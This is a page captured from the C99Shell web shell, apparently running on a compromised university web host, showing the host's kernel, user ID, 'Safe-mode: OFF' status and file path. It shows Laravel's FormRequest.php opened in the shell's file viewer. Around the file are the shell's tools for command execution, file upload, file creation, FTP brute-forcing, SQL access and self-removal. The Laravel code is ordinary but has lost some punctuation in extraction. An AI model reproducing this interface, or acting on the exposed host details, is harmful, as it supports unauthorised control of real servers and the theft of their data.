!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/laravel/framework/src/Illuminate/Foundation/Http/   drwxr-xr-x
Free 117.15 GB of 200.55 GB (58.41%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     FormRequest.php (5.65 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Foundation\Http;

use 
Illuminate\Http\Request;
use 
Illuminate\Http\Response;
use 
Illuminate\Http\JsonResponse;
use 
Illuminate\Routing\Redirector;
use 
Illuminate\Container\Container;
use 
Illuminate\Contracts\Validation\Validator;
use 
Illuminate\Http\Exception\HttpResponseException;
use 
Illuminate\Validation\ValidatesWhenResolvedTrait;
use 
Illuminate\Contracts\Validation\ValidatesWhenResolved;
use 
Illuminate\Contracts\Validation\Factory as ValidationFactory;

class 
FormRequest extends Request implements ValidatesWhenResolved
{
    use 
ValidatesWhenResolvedTrait;

    
/**
     * The container instance.
     *
     * @var \Illuminate\Container\Container
     */
    
protected $container;

    
/**
     * The redirector instance.
     *
     * @var \Illuminate\Routing\Redirector
     */
    
protected $redirector;

    
/**
     * The URI to redirect to if validation fails.
     *
     * @var string
     */
    
protected $redirect;

    
/**
     * The route to redirect to if validation fails.
     *
     * @var string
     */
    
protected $redirectRoute;

    
/**
     * The controller action to redirect to if validation fails.
     *
     * @var string
     */
    
protected $redirectAction;

    
/**
     * The key to be used for the view error bag.
     *
     * @var string
     */
    
protected $errorBag 'default';

    
/**
     * The input keys that should not be flashed on redirect.
     *
     * @var array
     */
    
protected $dontFlash = ['password''password_confirmation'];

    
/**
     * Get the validator instance for the request.
     *
     * @return \Illuminate\Contracts\Validation\Validator
     */
    
protected function getValidatorInstance()
    {
        
$factory $this->container->make(ValidationFactory::class);

        if (
method_exists($this'validator')) {
            return 
$this->container->call([$this'validator'], compact('factory'));
        }

        return 
$factory->make(
            
$this->validationData(), $this->container->call([$this'rules']), $this->messages(), $this->attributes()
        );
    }

    
/**
     * Get data to be validated from the request.
     *
     * @return array
     */
    
protected function validationData()
    {
        return 
$this->all();
    }

    
/**
     * Handle a failed validation attempt.
     *
     * @param  \Illuminate\Contracts\Validation\Validator  $validator
     * @return void
     *
     * @throws \Illuminate\Http\Exception\HttpResponseException
     */
    
protected function failedValidation(Validator $validator)
    {
        throw new 
HttpResponseException($this->response(
            
$this->formatErrors($validator)
        ));
    }

    
/**
     * Determine if the request passes the authorization check.
     *
     * @return bool
     */
    
protected function passesAuthorization()
    {
        if (
method_exists($this'authorize')) {
            return 
$this->container->call([$this'authorize']);
        }

        return 
false;
    }

    
/**
     * Handle a failed authorization attempt.
     *
     * @return void
     *
     * @throws \Illuminate\Http\Exception\HttpResponseException
     */
    
protected function failedAuthorization()
    {
        throw new 
HttpResponseException($this->forbiddenResponse());
    }

    
/**
     * Get the proper failed validation response for the request.
     *
     * @param  array  $errors
     * @return \Symfony\Component\HttpFoundation\Response
     */
    
public function response(array $errors)
    {
        if ((
$this->ajax() && ! $this->pjax()) || $this->wantsJson()) {
            return new 
JsonResponse($errors422);
        }

        return 
$this->redirector->to($this->getRedirectUrl())
                                        ->
withInput($this->except($this->dontFlash))
                                        ->
withErrors($errors$this->errorBag);
    }

    
/**
     * Get the response for a forbidden operation.
     *
     * @return \Illuminate\Http\Response
     */
    
public function forbiddenResponse()
    {
        return new 
Response('Forbidden'403);
    }

    
/**
     * Format the errors from the given Validator instance.
     *
     * @param  \Illuminate\Contracts\Validation\Validator  $validator
     * @return array
     */
    
protected function formatErrors(Validator $validator)
    {
        return 
$validator->getMessageBag()->toArray();
    }

    
/**
     * Get the URL to redirect to on a validation error.
     *
     * @return string
     */
    
protected function getRedirectUrl()
    {
        
$url $this->redirector->getUrlGenerator();

        if (
$this->redirect) {
            return 
$url->to($this->redirect);
        } elseif (
$this->redirectRoute) {
            return 
$url->route($this->redirectRoute);
        } elseif (
$this->redirectAction) {
            return 
$url->action($this->redirectAction);
        }

        return 
$url->previous();
    }

    
/**
     * Set the Redirector instance.
     *
     * @param  \Illuminate\Routing\Redirector  $redirector
     * @return $this
     */
    
public function setRedirector(Redirector $redirector)
    {
        
$this->redirector $redirector;

        return 
$this;
    }

    
/**
     * Set the container implementation.
     *
     * @param  \Illuminate\Container\Container  $container
     * @return $this
     */
    
public function setContainer(Container $container)
    {
        
$this->container $container;

        return 
$this;
    }

    
/**
     * Get custom messages for validator errors.
     *
     * @return array
     */
    
public function messages()
    {
        return [];
    }

    
/**
     * Get custom attributes for validator errors.
     *
     * @return array
     */
    
public function attributes()
    {
        return [];
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0114 ]--